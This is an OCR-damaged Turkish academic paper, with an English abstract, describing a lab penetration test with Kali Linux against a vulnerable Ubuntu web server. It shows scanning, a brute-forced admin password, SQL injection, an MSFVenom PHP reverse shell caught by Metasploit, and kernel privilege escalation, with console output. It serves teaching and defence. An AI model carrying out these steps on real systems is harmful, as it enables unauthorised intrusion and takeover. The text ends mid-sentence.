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Siber giivenligin saglanmasinda Kali Linux ve sundugu sizma araglarinin
sunucu sistemlerine yonelik penetrasyon testlerinde kullanimi 6nemlidir. Bu
caligmada, test ortami olarak Linux Ubuntu isletim sistemi ve iizerinde
calisan bir web sunucusu kullanilmustir. Test ortaminda, Kali Linux
tizerindeki sizma araglar1 kullanilarak yapilan tiim tarama ve sizma islemleri
gerceklestirilmistir. Oncelikle, hedef sistem iizerindeki acik portlar1 tespit
etmek igin port taramasi uygulanmstir. Tarama ile sistemdeki aktif servisler
ve servislerin ¢aligtig1 portlar belirlenmistir. Sonraki adimda, kullanict ad1 ve
parola kombinasyonlarinin bir listesi kullanilarak oturum ag¢ma bilgilerini
elde etmek hedeflenmistir. Sozliik saldirisi ile parola kirma islemi
yapilmistir. Boylelikle, zayif parolalarin kullanildigi hesaplarin belirlenmesi
gerceklestirilmigtir.  Calisma  kapsaminda  ayrica, SQL  saldirisi
gerceklestirilerek hedef sistemin veritabanina yetkisiz erisim saglanmistir.
Saldir1 yontemiyle giivenlik agiklarimin oldugu web uygulamalar1 hedef
aliarak veritabanina sizma girisiminde bulunulmustur. Veritabanina erigim
saglandiktan sonra hassas verilere erisilmis ve veriler manipiile edilmistir.
Son olarak, yetki yiikseltme iglemi gergeklestirilerek hedef sistemin tam
kontroliiniin ele gecirilmesi saglanmistir. Sistemdeki zayif yapilandirmalar,
giivenlik aciklari  veya yetkilendirme hatalarmin  tespit edilmesi
hedeflenmistir. Sonug olarak, Kali Linux ve sizma testi araglarmin sunucu
sistemlerindeki giivenlik aciklarini tespit etmek ve gidermek i¢in 6nemli bir
arag¢ oldugu gosterilmektedir. Caligmanin sonuglari, Kali Linux ve sizma
testi araglarinin giiglii yeteneklerini ve potansiyel giivenlik agiklarini ortaya
cikarmada etkinligini gostermektedir. Boylelikle, sistem yoneticileri benzer
araglar1 kullanarak yonettikleri sistemleri test ederek giivenlik agiklarimi
tespit edebilir ve gerekli onlemleri alabilirler. Bu caligmada, bu 6nemin
aciklanmast  ve olusturulan deneysel test ortaminda gosterilmesi
hedeflenmektedir.
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It is important to use Kali Linux and the penetration tools that it offers in
penetration tests for server systems to ensure cyber security. For this purpose,
Linux Ubuntu operating system and a web server running on it are used as
test environment. In this test environment, all scans and penetrations are
performed using the penetration tools on Kali Linux. First, port scanning is
performed to detect open ports on the target system. With this scan, the active
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services in the system and the ports where these services are running are
determined. The next step is to obtain login information using a list of
username and password combinations. Password cracking with dictionary
attack is performed. Thus, the identification of accounts with weak passwords
is achieved. Unauthorized access to the database of the target system is
achieved by performing a SQL attack. With this attack method, an attempt is
made to infiltrate the database by targeting web applications with security
vulnerabilities. After accessing the database, sensitive data is accessed and
manipulated. Finally, full control of the target system is achieved by
performing privilege escalation. In this step, weak configurations are aimed
to detect vulnerabilities or authorization errors in the system. Consequently,
Kali Linux and penetration testing tools are an important tool for detecting
and resolving vulnerabilities in server systems. The results of the study show
the powerful capabilities of Kali Linux and penetration testing tools and their
effectiveness in determining potential vulnerabilities. Thus, system
administrators can use such tools to detect vulnerabilities and take the
appropriate actions by testing the systems they manage. In this study, it is
aimed to explain this importance and to show this in an experimental test
environment.

To Cite: Etik H, Can O., 2024. Siber giivenlikte kali linux ve sizma araglarin kullanimi. Kadirli Uygulamali Bilimler
Fakiiltesi Dergisi, 4(1): 210-226.

Giris

Giliniimiizde giivenlik agiklarmin tespit edilmesi ve kapatilimasi biiylik bir 6nem
tasimaktadir. Kurumlar ve bireyler; bilgisayar sistemlerini, aglarin1 ve uygulamalarini
potansiyel tehditlere kars1 korumak i¢in giivenlik testlerine ihtiya¢ duyarlar. Bu ihtiyaca cevap
veren sizma testi (penetrasyon testi), giivenlik agiklarmin belirlenmesi ve hedef sistemlere
yetkisiz erisim saglanarak gergeklestirilen saldir1 senaryolarini igerir.

Bu c¢alismada kullanilan Kali Linux, 6zel olarak sizma testi ve etik saldirilar igin
tasarlanmig bir Linux dagitimidir. Kali Linux igerisinde bir¢ok giivenlik aracit ve kaynak
bulundurur ve sizma testi siireglerinde kullaniciya esneklik ve gii¢ saglar.

Sizma testleri, bir organizasyonun veya bireyin sistemlerini giivenli hale getirmek i¢in
proaktif bir yaklagimi temsil eder. Bu testlerde, gercek diinya saldir1 senaryolarinin
gergeklestirilmesi ve potansiyel zayif noktalarin belirlenmesi hedeflenir. Kali Linux, glivenlik
testlerinde kullanilabilecek bir¢ok ara¢ sunar: Ag taramasi, zayif parola analizi, giivenlik agig1
taramalari, ag saldirilari, veritabani giivenligi, kablosuz ag giivenligi ve daha fazlasi gibi
alanlarda uzmanlasmis araglara erisim saglar.

Bu calismani kapsami sizma testi slireci, planlama, bilgi toplama, zafiyet taramasi,
saldir1 senaryolarinin olusturulmasi gibi temel adimlari icermektedir. Her adimin nasil
gerceklestirilecegi ve hangi araglarin kullanilacagi ayrintili bir sekilde agiklanmaktadir. Sizma
testleri, organizasyonlarin giivenlik politikalarini giincellemelerine ve potansiyel riskleri
azaltmalarma yardimci olmaktadir. Calismanin sonucglar1 da sizma testlerinin 6nemini ve

etkinligini vurgulamaktadir. Sizma testleri, hedeflenen sistemlerin giivenlik agiklarini tespit
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etmek ve bunlara kars1 6nlemler almak i¢cin 6nemli bir aragtir. Sizma testleri, bilgi giivenligi
konusunda stirekli bir c¢aba gerektiren ve tehditlere karsi savunma mekanizmalarini
giiclendiren bir disiplindir.

Calismada Kali Linux kullanarak gerceklestirilen bir sizma testi siireci detayli bir
sekilde sunulmaktadir. Calismada, Ubuntu 14.0 iizerinde calisan bir web sunucusu hedef
alinmig ve farkli sizma testi adimlart kullanilarak saldir1 senaryolar1 gergeklestirilmistir. Bu
adimlar arasinda port taramasi, parola kirma, SQL saldiris1 ve yetki yiikseltme gibi islemler
yer almaktadir. SQL saldirisi, bir web uygulamasinin arkasindaki veritabanina yonelik olarak
gerceklestirilen bir saldirt tiirtidiir. Yetki yiikseltme ise bir sisteme veya uygulamaya ait sinirl
bir erisim diizeyinin yetkisiz sekilde daha yiiksek bir seviyeye yiikseltilmesi islemidir.

Sizma testi siireci Kali Linux ve sizma testi araglarinin kullanimi {izerinde
odaklanmaktadir. Calismanin sonuglar1 sizma testlerinin 6nemini, giivenlik ac¢ikliklarini tespit

etmek ve gidermek icin bu tiir testlerin diizenli olarak yapilmasi gerektigini vurgulamaktadir.

Materyal ve Metod

Calismada, bes ana konu temel alinmaktadir. Bunlar, (i) hedef sistemde agiklik
barindiran bir web uygulamasi tespit etmek, (ii) parola saldiris ile admin (yonetici) parolasini
ele gegirmek, (iii) SQL saldirisi ile hedef sistemde sistem komutlar1 ¢aligtirabilmek, (iv) ters
baglant1 ile hedef sisteme baglanti saglamak ve (v) yetki yiikseltme ile sistemin ele
gecirilmesi seklindedir. Biitiin bu asamalar ve gergeklestirilen saldirilarin olay akis semasi
Sekil 1°de blok diyagrami olarak verilmistir.

Calismada temel alinan saldirilar asagidaki gibidir:

Ac¢tklik Arama: Bagl bulunulan ag icerisinde herhangi bir agiklik barindiran bir web
uygulamasi tespit edilmeye ¢aligtimustir. Tlgili islem igin Kali Linux tarafindan hazir gelen ag
taramasi i¢in kullanilan Netdiscover aract komutu ile arama islemi yapilmistir. Ag icerisinde
tespit edilen bir IP Nmap aract kullanilarak port taramasi islemi uygulanmistir. Yapilan
tarama islemleri sonrasi elde edilen bilgilerin internet yardimiyla herhangi bir agik barindirip
barmndirmadigi kontrol edilmistir.

Parola Saldirisi: Agiklik taramasinda tespit edilen bir web sayfasi admin girisine
parola saldirist gerceklestirilerek parola kirma islemi gergeklestirilmistir. Uygulanan islem
icin Kali Linux tarafindan hazir gelen CEWL (Cewl, 2024) ve John The Ripper (Ripper,
2024) araglar1 ile bir parola sozligii olusturulup bu sézlik OWASP (OWASP, 2024)

uygulamasi ile kaba kuvvet uygulanarak web sayfasi admin giris parolasi tespit edilmistir.
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SOL Saldirisi ve Ters Baglanti Saldirisi: Saldir1 kapsaminda, admin sayfasina giris
yapabildigimiz web sunucusu iizerinde PHP ve SQL enjeksiyonu yaparak sayfa iizerinde
sistem komutlarini calistirmasi saglanmustir. islem sonrasi bir adim 6teye gidilerek ters
baglant1 islemi, MSFVenom araci ile payload olusturulup bunu Netcat iizerinden yiiklenerek
hedef sistem iizerinden baglant1 saglanmistir. Burada yapilan islemler bir sonraki boliimde

detayl bir sekilde anlatilmistir.

Saldin isleminde
kullamlacak Kali Linux

Tarama iglemlerin degerlendirilemesi

Ag uzerinde agikhk
tarama iglemleri

sonucu

Sozluk atak saldin i€
sifre kirma islemi

v v

Basaril Basanl

[ Olumlu aciklik tarama ]

<o >

-

T

Yetki yilkseltme islemi [ Tuam sistemin ele gegirilmesi ]

Y

Basanh

Sekil 1. Kali Linux ile hedef sisteme saldir1 akis semasi

Yetki Yiikseltme ve Sistemin Ele Gegirilmesi: Senaryoda, hedef sisteme baglanti
gergeklestirildikten sonra baglanilan sistemde yetki yiikseltme islemi (local privilege
escalation exploit) agig1 taramasi yapilmaktadir. Isletim sistemine o6zgii bulunan agik
Meterpreter araci kullanilarak yetki yiikseltme islemi gerceklestirilmekte ve hedef sistem ele
gecirilmektedir.

Literatiirde, bu konuyla ilgili bir¢ok arastirma, makale ve kaynak bulunmaktadir. Kali
Linux, ac¢ik kaynakli bir Linux tabanli isletim sistemidir ve icerisinde bir dizi sizma testi araci

barindirmaktadir. Kullanilan araclar, ag giivenligi agiklarini tespit etmek, zayif noktalar
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analiz etmek ve potansiyel saldir1 senaryolarin1 degerlendirmek i¢in kullanilmaktadir (Cisar
ve Pinter, 2019; Kissi ve Asante, 2020).

Literatiirdeki ¢aligmalar genellikle Kali Linux'in kullanimini, sizma testi adimlarini ve
araglarinin yeteneklerini ve sizma testi siirecinin planlanmasi, hedef sistemlerin belirlenmesi,
saldir1 senaryolarinin olusturulmasi, giivenlik agikliklarmin kesfedilmesi ve raporlama gibi
adimlart kapsamaktadir. Yapilan caligmalar, sizma testi siirecinin etik ve profesyonel bir
sekilde yapilmasinin 6nemini vurgulamakta ve giivenlik agikliklarinin tespit edilmesi ve
giderilmesi i¢in sizma testlerinin yaygin olarak kullanilmasi gerektigini savunmaktadir
(Gunawan ve ark., 2018a; Gunawan ve ark., 2018b). Ayrica, ger¢ek diinya senaryolarinda
genellikle Kali Linux ve sizma testi araglarinin etkinligi ve verimliligi degerlendirmektedir.
Bu calismalar, farkli ag yapilari, web uygulamalari, sunucular ve mobil cihazlar gibi g¢esitli
hedef sistemler {lizerinde sizma testi senaryolar1 gergeklestirerek, giivenlik acikliklarinin ve
zay1f noktalarin tespit edilmesi konusunda 6nemli bir bilgi saglamaktadir.

Sonug olarak, Kali Linux ve kullanilan sizma araglar1 hakkinda yapilan aragtirmalar,
bilgisayar giivenligi ve siber giivenlik alaninda 6nemli bir yer tutmaktadir. Arastirmalar,
sizma testi silirecinin Onemini vurgulamakta, giivenlik acikliklarinin tespit edilmesi ve
giderilmesi icin bu tiir araglarin etkin kullanimin1 desteklemekte ve giivenlik uzmanlarina
rehberlik etmektedir (Sentiirk, 2018).

Calismamizda, ti¢ farkli saldiri tiiri kullanilarak hedef sistem ele gecirilmektedir.
Bunlar sirasiyla parola saldirisi, SQL  saldirist  ve yetki ylikseltme seklinde
gerceklestirilmektedir.

Parola saldirisi, bir sistemde kullanilan parolalar1 kesfetmek veya ¢almak amaciyla
gerceklestirilen bir saldir tiirtidiir. Literatiirde parola saldirilar1 ve bunlarin 6nlenmesi {lizerine
cesitli caligmalar mevcuttur. Caligmalar, glivenli sifreleme algoritmalari, parola karmasikligi
politikalar1 ve giivenli kimlik dogrulama yontemleri gibi konulari igermektedir (Lu ve Yu,
2021).

SQL saldirisi, kullanicinin girislerini manipiile ederek veya kotii niyetli SQL ifadeleri
kullanarak veritabanina yetkisiz erisim saglamay1 hedeflemektedir. SQL saldirilari, giivenlik
acikliklarinin oldugu web uygulamalarinda yaygin olarak goriilmektedir. Saldirilar, veritabani
sistemlerinin zayif dogrulama veya sorgu isleme mekanizmalarindan yararlanmaktadir. Yetki
yiikseltme, bir sistemin veya uygulamanin giivenlik mekanizmalarindaki hatalardan veya
zayif yapilandirmalardan yararlanarak gerceklestirilebilmektedir. Yetki yiikseltme saldirilari,
sistemin koruma mekanizmalarini asarak yonetici veya root diizeyinde erisim elde etmeyi

hedeflemektedir. Literatiirde, yetki yiikseltme saldirilari, giivenlik agikliklari, ayricalik
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ayristirmasi ve kullanici yetkilendirme konularinda farkli caligmalar bulunmaktadir (Vouteva,
2015).

Bu c¢alisma, parola saldirilari, SQL saldirilar1 ve yetki yiikseltme gibi giivenlik
acikliklarina yonelik olarak Kali Linux ve sizma testi araglarinin kullanimini i¢ermektedir. Bu
konular tizerine bir¢ok ¢alisma ve kaynak bulunmasina ragmen, ¢alismamizda mevcut bilgi
birikimini bir araya getirerek, Kali Linux'un benzer saldirilarda nasil kullanilabilecegi

konusunda pratik bir bakis sunmaktadir.

Deneysel Calismalar

Saldirt islemleri sirasinda sadece Kali Linux ve onunla birlikte gelen araglar
kullanilmigtir. Ag igerisinde bir agiklik arama islemine baslamadan 6nce Kali Linux’una ait
makinenin IP adresinin tespit islemi gériilmektedir (Sekil-2).

(base) ~

etho: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
255.255.255.0 broadcast 192.168.0.255
9 60fb prefixlen 64 scopeid 0x20<link>
ether 08:00:27: 6 txqueuelen 1000 (Ethernet)
packets 103 64 (7.9 KiB)
errors @ dro verruns @ frame @
packets 42 Dby (5.1 KiB)
errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors © dropped ® overruns @ frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Sekil 2. Kali Linux IP tespiti

Elde edilen IP adresinden bulunan aga ait tim IP adreslerinin taramasinin yapilacagi

netdiscover komutu ¢alistirilmistir (Sekil-3).

~

192.168.0.0/24]

Sekil 3. Netdiscover ile ag tarama komutu

Bu tarama sonucunda ag iizerinde bulunan aktif IP’ler tespit edilmistir. Tespit edilen

IP’ler sunulmaktadir (Sekil-4).
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Currently scanning: Finished! Scr View: Unique Host

5 Captured ARP Req/Rep packets, from 5 hosts. Total
MAC Address Count MAC Vendor / Hostname

Castlenet Technology Inc.
PCS Systemtechnik GmbH
TP-Link Corporation Limited
Dell Inc.

Unknown vendor

e e
h o h

0 00 00

[~ =]

(=]
[ws]

Sekil 4. Netdiscover ile ag taramasi sonuglari

Bir sonraki adim bu IP’ler iizerinde port aramasi yapilarak herhangi bir web sunucu
olup olmadigini tespit etmektir. Bu islem i¢in Nmap araci kullanilmistir. Bu ara¢ kullanimi ve

elde edilen sonug gosterilmektedir (Sekil-5).

(base) :
A 192.168.0.12
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-04 08:32 EDT
Nmap scan report for 192.168.0.12

Host is up (0.00017s latency).

Not shown: 999 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.7 ((Ubuntu))

| _http-generator: Gekko Web Builder / Baby Gekko CMS / gekkocms
| _http-server-header: Apache/2.4.7 (Ubuntu)

| _http-title: btrisk - Welcome to Baby Gekko Demo

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.76 seconds

Sekil 5. Nmap ile port taramasi ve sonuglari

Tarama islemi sonucunda ag tizerinde 192.168.0.12 IP ile bir Baby Gekko isimli web
sunucusu oldugu goériilmektedir. Tespit edilen IP bir internet tarayici iizerinde acildiginda 6n

tanimli kurulumda birakilmig bir CMS uygulamasi goriilmektedir (Sekil-6).
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* Sample Logo

Super Duper!

Popular News

B
a 2

Sekil 6. CMS uygulamasi

Tarama islemi sonucu bulunan bu uygulamaya ait agikliklarin olup olmadig: Searchploit
araci ile aranmaktadir. Bu arama sonucuna gore ilgili uygulamaya ait giivenlik aciklari

listelenmektedir (Sekil-7).

/home/kali
baby gekko

Exploit Title

CMS 1.1.5c - Multiple Persistent Cross-Site Scripting Vulnerabilities
1.2.2e - Multiple Vulnerabilities

Shellcodes: No Results

Sekil 7. Searchploit arama sonucu

Bir sonraki adimda Nikto uygulamasii kullanarak ilgili web sayfasina ait bir admin
girisi bulunup bulunmadigimin tespit edilmesi saglanmistir. Nikto uygulamasinin sonucuna

gore /admin link uzantisi ile bir admin giris sayfast oldugu goriilmektedir (Sekil-8).

217



(base)

Nikto

* ko

(GMT-4)

header: PHP/5.5.9-lubuntu% -
Frame-Options heade is not p ent. ee: https:
s header is not . This could allow the user

ko

5bdd5615c52a0f 5 without the httpo
found (u '-C " to : all sible dirs)
found in the "location € er. The IP is "127.0.1.1".
er may re 1 L or real IP in
: at least Apache/
without th
HTTP methods
sword=tes phpAuct

S A N

reated without the httponl)
interesting.
xing found.
t be interesting.
might = interesting.
i found.

ndex.php: This migh i resti ) 1 from an un
Apache def file f - : t = pache-re
in.php: Admin 1 i

) This file contains
@ error( i [ reported on remot
End Time: 20 ) X ( ) (15 seconds)

.
+

.
+
+
+
+
+
+
+
+
+
+
+
+
+
+

Sekil 8. Nikto arama sonucu

Ilgili IP’nin devaminda Nikto uygulamasi ile bulunan admin link uzantis1 eklenerek
olusturulan link web tarayicis1 lizerinden acgilmaktadir. Link agildiginda Sekil 9°da sunulan

admin sayfasina ulasilmaktadir.

¢ G A Notsecure | 192168012,

Content Management Administration

{ usermame

(pqwdunlt )

[r——— wpLogin

Sekil 9. Web sunucu admin sayfasi

Admin sayfasina ulasildiktan sonra bir sonraki islem olarak bu sayfay1 Kali Linux’un

sundugu ¢esitli parola saldirt araglarini kullanarak parolayi ele gecirmektir. Yapilan islemlerin
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ilki icin CEWL kullanilmistir. Bu arac ilgili sayfadaki verileri kullanarak olas1 kelimelerden
bir parola s6zligi olusturmaktadir. S6zIigii genisletmek i¢in John The Ripper uygulamasi ile
farkl algoritmalar kullanilarak olasi parola ihtimalini arttirma islemi gerceklestirilmektedir.
Avraglar ile olusturulan parola listesi sekil tizerinde goriilmektedir (Sekil-10).

/home/kali

168.0,12 > passwordlist, txt

/home/kali
passwordlist. txt
obin Wood (robinddigi.ninja

[home/kali

Sekil 10. CEWL ve John The Ripper uygulamasi ile olusturulan parola listesi

Parola listesini kullanabilmek icin bir atak proxy kullanilmas1 gerekmektedir. Islem icin
Kali Linux’un sagladigit OWASP uygulamasi kullanilmaktadir. Yapilan uygulama ile web
sayfasinin admin kismina baglanildiktan sonra parola listesindeki parolalarin teker teker
OWASP uygulamasinin hedeflenen web sayfasina

denenmesi gergeklestirilmektedir.

baglantis1 gosterilmektedir (Sekil-11).

Online
= = 1 1 1

Tools Import  Export Help

File Edit View Report

el

Analyse

Standard Mode = L. (7| 1 ol b -

@ Sites -+ %= Response v Requester
@ 9 B = +F Quick Start = Request
@ Sites Header: Text Body: Text ] =
N GET http://192.168.@.12/contacts HTTP/1.1
Mw GET:/ Host: 192.168.@.172
W blog User-Agent: Mozil Fire. .. el
W contacts ; IV:1@e5.8) Gecko Open URL in Systern Browser
o W GET:favicon.lco & Fuz=z...
[l asl Fun application
o images £l
o s GET: robots.txt I Open/Resend with Request Editor. ..
= History @ Search P Alerts Output e Spider . i L !
Open LURL in Browser
» .. Progress:| O: http://192,168.0,12 B Currer
Syntax
Sent Messages Flltered Messages WView
Id Req, Time.,,, Resp, Tirm..., Me, LRL ; el r
422 6/4/23, 5:... 6/4/23, 9: GET htep://192.168.0.12/con . i
423 6/4/23, S . 6/4/23, GET http://192.168.0.12/htrr| ! .
424 6/4/23, S &/4/23, GET http://192.168.0.12/htrr] it tr
425 &6/4/23, 9:... &6/4/23, GET httpi//192,.168.0,12/htrr I .
426 &5/4/23 . B/4/23, GET http: /192 . 168.0.12/htrr
427 /Kl/ai?3 SAAI2 3 GET bttt i1 1AR 0 12 Mt ' .
Alerts 0O M s Ml Main Proxy: localhost:BO8B(0 Qurrent Sc I
Select All Cerl+ A
Open In Requester Tab. .. CErl 4+ W
Save Raw
Sawve XML
Sve Selected Entries as HAR (HT TP Archive File)

Sekil 11. OWASP ile hedef siteye baglantinin gergeklestirilmesi
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Uygulama iizerinden daha oOnce elde edilen parola listesi paylasilarak admin
sayfasinda parolalarin denenmesi otomatik olarak gerceklestirilmektedir. Yapilan islem
sirasinda; web sunucusundan dogru parola durumunda gonderilen “302 found” cevabi

goriilmektedir (Sekil-12). Boylelikle, admin sayfasinin parolasi elde edilmis olmaktadir.

Analyse Report Tools Import Export Online Help

CF - R0~ 1- & &

Quick Start

Standard Mode & »
@Skes +
Invalid username/password © = Response Reques!

 abdad Header: Text Body: Text

GET:/
HTTP/1.1 302 Found

';-* ii\t‘ll\.l":]t‘ w GET:images
! Date: Sun, @4 Jun 2023 14:29:10 GMT
s server: Apache/2.4.7 (Ubuntu)
password. » POSTiindex php()(_c¢  x.powered-By: PHP/S.5.9-1ubuntud.20
Expires: Sat, 26 Jul 2000 05:00:00 GM
w GET:templates acha_Cantrals an-etave. . nnersche m
"

=pLogin
templates

)
» GET:admin ot

head
= History \Search M Alerts Output ¥ Spider @ Fuzzer # +

@ New Fuzzer Progress: 3. HTTP - http://192.168..admin/index.php | &

Messages Sent: 398 Errors: O

Hig State

R... Size Resp, He ize F
359 bytes 7.2

1... 359 bytes
2... 359 bytes
2

359 bytes
359 bytes

Sekil 12. OWASP ile hedef site admin parolasinin tespiti

Gergeklestirilen uygulama agik taramasi isleminde bulunan agiklardan biri olan ve Sekil
6’da sunulan SQL enjeksiyon a¢ig1, admin sayfasina erisim saglandiktan sonra uygulanabilir

bir duruma gelmektedir. Ilgili SQL denemesi uygulandiginda islemin etkili oldugu
gortilmektedir (Sekil-13).

& C A Notsecure | 192.168.0.12/admin/index.php?app=users&ajax=1&action=search&keyword=1%27)%2(

{"status":200,"data":[]}

Sekil 13. Tarayici {izerinden yapilan test enjeksiyonu

Boylelikle, web wuygulamasi {izerinde yapilan enjeksiyonun basarili oldugu
goriilmektedir. Bir sonraki adim olarak web sunucu tarafindan Netcat ile TCP portundan
gelen veri dinlenmekte ve gelen veriyi reverse.php dosyasina aktaracak bir komut
calistirilmaktadir. Sunucu iizerine yollanacak ters baglantiyi saglayacak PHP dosyasi
MSFVenom uygulamasi ile olusturulmaktadir (Sekil-14). Uygulanan islemden sonra, saldiriy1

gergeklestiren bilgisayarda olusturulan PHP payload’u hedef bilgisayara aktarilmaktadir.
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/home/kali
192.168.0.12 1234 payload. txt
192.168.0.12: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.12] 1234 (?) open

sent 1113, rcvd 0

/home/kali

Sekil 14. MSFVenom ile ters baglanti PHP dosyasi olusturma

Ters baglanti ile web sunucusu Tlzerinden atak bilgisayara baglanti saglanmasi
amaclanmaktadir. Olusturulan reverse.php dosyasin1 sunucuya yiikledikten sonra web
tarayicist iizerinden 192.168.0.12/reverse.php komutu ile aktif edilmesi gerekmektedir.
Boylelikle, ters baglanti sunucu tarafindan saldir1 bilgisayarina dogru baglatilmaktadir.

Atak yapilan bilgisayar tarafindan Msfconsole uygulamasi iizerinden baglanti

saglanarak hedef bilgisayara baglanti islemi gergeklestirilmektedir (Sekil-15).

/home/kali

ploit!

=[ metasploi .3.16-dev
+ — —=[ 2315 exploits - 1208 auxiliary - 412 post
+ — —=[ 975 payloads - 46 encoders - 11 nops
+ — —=[ 9 evasion

Metasploit tip: Display the Framework log using the
command, learn more with 1
Metasploit Documentation: https://docs.metasploit.com/

msf6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD
) = generic/shell_reverse_tcp
xploit( ) > set PAYLOAD php/meterpreter/reverse_tcp
= php/meterpreter/reverse_tcp
mst6 ) > set LHOST 192.168.0.12
LHOST = 192.168.0.12
msf6 exploit( ) SET LPORT 4444
Unknown command: SET
msf6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > run

Handler failed to bind to 192.168.0.12:4444:~- -~

Started reverse TCP handler on 0.0.0.0:4444

Sending stage (39927 bytes) to 192.168.0.12

Meterpreter session 1 opened (192.168.0.11:4444 — 192.168.0.12:44667) at 2023-06-04 13:55:39 -0400

meterpreter > [J

Sekil 15. Msfconsole uygulamasi ile sunucu baglantisi (ters baglant1 yontemi)
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Baglant1 saglandiktan sonra hedef sistem {izerinde gerekli degisiklikler yapilarak ele
gecirme islemi gerceklestirilmektedir. Hedef sistemde yapilan baglantida root yetkili olarak
baglanip baglanilmadigi kontrol edilmektedir. Yapilan yetki sorgulamasinda root yetkisine
sahip olunmadig1 Sekil 16’da gosterilmektedir.

Ters baglant1 saglanan hedef sunucuda root yetkisi olmadigi durumlarda yapilacak
islemler kisithh olacagi icin saglanan baglantinin tam yetkili olmasi gerekmektedir. Tam
yetkiyi ele gecirmek igin hedef sistemin isletim sistemi hakkinda bilgi edinilmeli ve yetki
yiikseltme isleminin gerceklestirilmesi i¢in kullanilan isletim sisteminin agiklar1

incelenmelidir.

Metasploit tip: Display the Framework log using the
¢ command, learn more with
Metasploit Documentation: https://docs.metasploit.com/

msfé6 > use exploit/multi/handler
Using configured payload generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD
PAYLOAD = generic/shell_reverse_tcp
msf6 exploit( ) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD = php/meterpreter/reverse_tcp
msf6 exploit( ) > set LHOST 192.168.0.12
LHOST = 192.168.0.12
msf6 exploit( ) > SET LPORT 4444
Unknown command: SET
msfé6 exploit( ) > set LPORT 4444
LPORT = 4444
msf6 exploit( ) > run

Handler failed to bind to 192.168.0.12:4444:- -

Started reverse TCP handler on 0.0.0.0:4444

Sending stage (39927 bytes) to 192.168.0.12

Meterpreter session 1 opened (192.168.0.11:4444 — 192.168.0,12:44667) at 2023-06-04 13:55:39 -0400

meterpreter > clear
Unknown command: clear

meterpreter > cls
Unknown command: cls

meterpreter > whoami
Unknown command: whoami

meterpreter > shell

Process 2099 created.

Channel @ created.

whoami
www-data

uname -a
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

cat /etc/*x-release

DISTRIB_ID=Ubuntu

DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu”

VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu

ID_LIKE=debian

PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"

HOME_URL="http://ww .ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

Sekil 16. Metasploit iizerinde sunucu baglantisi

Calismada hedef sistem olarak Kernel versiyonu Linux Ubuntu Kernel 3.13.0-32-

generic olan Ubuntu 14.04 versiyonu kullanilmaktadir. Calismada uygulanan sistemde yetKi
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yiikseltme i¢in osf 64 uygulamasi oldugu tespit edilmistir. Uygulamamizda; Metasploit
Meterpreter ilizerinden yiiklendiginde root kullanicisi olarak tam yetki sahibi
olunabilmektedir. Uygulanan islem sonrasinda tiim hedef sistemi ele gegirilmis olmaktadir.
Boylelikle, tam yetkili olarak hedef sistem {izerinde her tiirlii degisikligi ve islemi yapabilme

kabiliyeti kazanilmaktadir.

Calisma Sonucunda Elde Edilen Bulgular ve Tartisma

Kali Linux ve sizma testi araglarmin kullanimi, siber gilivenlik alaninda parola
saldirilari, SQL saldirilart ve yetki yiikseltme gibi giivenlik acikliklarinin tespiti ve
onlenmesinde 6nemli bir rol oynamaktadir. Calismamizda, sizma testlerinin énemi ve bu
testlerin diizgiin bir sekilde gergeklestirilmesinin kritikligi vurgulanmakta, Kali Linux ve
sizma testi araglar1 kullanilarak sizma testi siirecinin temel adimlari, ilgili adimlarin
planlanma siireci ve hedeflenen sisteme yonelik saldirt senaryolarinin gerceklestirilmesi
gosterilmektedir.

Sizma testlerinin etik kurallara uygun sekilde yapilmasi, hedeflenen sistemlere zarar
vermek yerine giivenlik agikliklariin ortaya ¢ikarilmasini hedeflemektedir. Caligmamizda,
sunulan deneysel gosterimler ve sizma testleri etik ve yasal konular dikkate alinarak yalnizca
yasal izinler dahilinde ve hedef sistem sahibinin izniyle gergeklestirilmelidir ve sunulan
saldir1 senaryolar1 ve kullanilan araglar, sadece sizma testi amagli olarak belirlenen sistem
iizerinde kullanilmalidir. Ayrica, sizma testlerinin sonuglart ve bulgulari, hedef sistemin
yonetici ve ilgili giivenlik ekipleriyle paylasilmalidir. Boylelikle, giivenlik agikliklar: tespit
edilebilir ve gelecekteki saldirilara karsi etkili 6nlemlerin alinmasi saglanabilir.

Sizma testlerine ek olarak; sifreleme, giivenlik duvari kurallari, erisim kontrolleri ve
diger gilivenlik Onlemleri gibi Onleyici giivenlik Onlemlerinin de O6nemli oldugu
unutulmamalidir. Bu Onlemler, potansiyel saldirilarin  engellenmesine ve sistemin
giivenliginin artirtlmasina yardimci olmaktadir (Altulaihan ve ark., 2023). Parola saldirilari,
genellikle oturum agma bilgilerini ele gegirme veya yetkisiz erisim elde etme amaciyla ve
Brute Force saldirilari, sozlik saldirilari, karma tablosu saldirilari gibi yontemlerle
gergeklestirilmektedir.

Sonug olarak, Kali Linux ve sizma testi araglarinin kullanimi siber giivenlik alaninda
calisan uzmanlar i¢in 6nemli bir yere sahiptir. Ancak, bu araglarin dikkatli ve etik bir sekilde
